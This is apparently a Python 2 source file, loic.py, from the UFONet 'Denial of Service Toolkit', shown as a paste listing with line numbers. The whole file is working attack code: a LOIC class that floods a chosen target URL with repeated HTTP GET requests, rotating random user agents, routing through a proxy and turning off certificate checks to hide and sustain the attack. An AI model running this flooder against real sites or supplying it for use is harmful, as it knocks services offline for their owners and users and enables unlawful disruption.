loic.py 2.0 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-"
  3. """
  4. UFONet - Denial of Service Toolkit - 2017/2018 - by psy (epsylon@riseup.net)
  5. You should have received a copy of the GNU General Public License along
  6. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  7. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  8. """
  9. import sys, random
  10. try:
  11. import requests
  12. from requests.packages.urllib3.exceptions import InsecureRequestWarning # black magic
  13. requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
  14. except:
  15. print "\nError importing: requests lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python-requests' or 'pip install requests'\n"
  16. sys.exit(2)
  17. # UFONet DoS Web LOIC (Low Orbit Ion Cannon)
  18. def ionize(self, target, rounds, proxy):
  19. n=0
  20. try:
  21. proxyD = {
  22. "http" : proxy,
  23. }
  24. for i in range(0, int(rounds)):
  25. n=n+1
  26. self.user_agent = random.choice(self.agents).strip()
  27. headers = {'User-Agent': str(self.user_agent)}
  28. try:
  29. r = requests.get(target, headers=headers, proxies=proxyD, verify=False)
  30. print "[Info] [AI] [LOIC] Firing 'pulse' ["+str(n)+"] -> [HIT!]"
  31. except:
  32. print "[Error] [AI] LOIC: Failed to engage with 'pulse' ["+str(n)+"]"
  33. except:
  34. print("[Error] [AI] [LOIC] Failing to engage... -> Is still target online? -> [Checking!]")
  35. class LOIC(object):
  36. def __init__(self):
  37. self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
  38. self.agents = []
  39. f = open(self.agents_file)
  40. agents = f.readlines()
  41. f.close()
  42. for agent in agents:
  43. self.agents.append(agent)
  44. def attacking(self, target, rounds, proxy):
  45. print "[Info] [AI] Low Orbit Ion Cannon (LOIC) is ready to fire: [" , rounds, "pulses ]"
  46. ionize(self, target, rounds, proxy) # attack with LOIC using threading